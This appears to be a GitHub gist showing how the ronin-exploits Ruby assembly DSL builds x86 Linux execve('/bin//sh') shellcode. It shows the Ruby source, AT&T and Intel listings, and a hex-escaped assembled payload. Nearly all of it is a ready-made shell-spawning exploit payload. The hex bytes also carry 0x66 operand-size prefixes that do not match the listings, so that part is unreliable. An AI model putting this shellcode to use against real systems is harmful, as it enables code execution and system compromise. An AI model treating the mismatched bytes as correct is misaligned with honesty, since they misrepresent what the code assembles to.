Created
November 29, 2011 07:44
-
-
Save postmodern/1403900 to your computer and use it in GitHub Desktop.
Example of using Assemble DSL in ronin-exploits to write Shellcode in Ruby
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'ronin/code/asm' | |
require 'ronin/formatting/binary' | |
program = Ronin::Code.asm(:arch => :x86) do | |
xor eax, eax | |
push eax | |
push 0x68732f2f | |
push 0x6e69622f | |
mov esp, ebx | |
push eax | |
push ebx | |
mov esp, ecx | |
xor edx, edx | |
mov 0xb, al | |
int 0x80 | |
end | |
puts "Shellcode (ATT):" | |
puts program.to_asm | |
puts | |
puts "Shellcode (Intel):" | |
puts program.to_asm(:intel) | |
puts | |
puts "Assembled: #{program.assemble.hex_escape}" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Shellcode (ATT): | |
_start: | |
xorl %eax, %eax | |
pushl %eax | |
pushl $0x68732f2f | |
pushl $0x6e69622f | |
movl %esp, %ebx | |
pushl %eax | |
pushl %ebx | |
movl %esp, %ecx | |
xorl %edx, %edx | |
movb $0xb, %al | |
int $0x80 | |
Shellcode (Intel): | |
_start: | |
xor eax, eax | |
push eax | |
push DWORD 0x68732f2f | |
push DWORD 0x6e69622f | |
mov ebx, esp | |
push eax | |
push ebx | |
mov ecx, esp | |
xor edx, edx | |
mov al, BYTE 0xb | |
int BYTE 0x80 | |
Assembled: \x66\x31\xc0\x66\x50\x66\x68\x2f\x2f\x73\x68\x66\x68\x2f\x62\x69\x6e\x66\x89\xe3\x66\x50\x66\x53\x66\x89\xe1\x66\x31\xd2\xb0\x0b\xcd\x80 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment